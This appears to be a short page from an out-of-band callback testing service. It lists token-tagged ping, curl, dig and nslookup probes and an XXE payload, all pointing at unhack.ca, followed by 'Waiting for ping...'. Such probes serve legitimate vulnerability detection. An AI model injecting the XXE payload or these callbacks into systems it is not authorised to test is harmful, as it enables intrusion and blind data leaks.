$ ping -c1 -p 00c970b62b0590d442dbd6373efef100 unhack.ca
 
$ curl http://unhack.ca/p/c970b62b0590d442dbd6373efef1
 
$ dig c970b62b0590d442dbd6373efef1 @unhack.ca
 
$ dig c970b62b0590d442dbd6373efef1.ns.unhack.ca
 
C:\> nslookup c970b62b0590d442dbd6373efef1 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/c970b62b0590d442dbd6373efef1">]>
    <foo>&xxe;</foo>
Waiting for ping...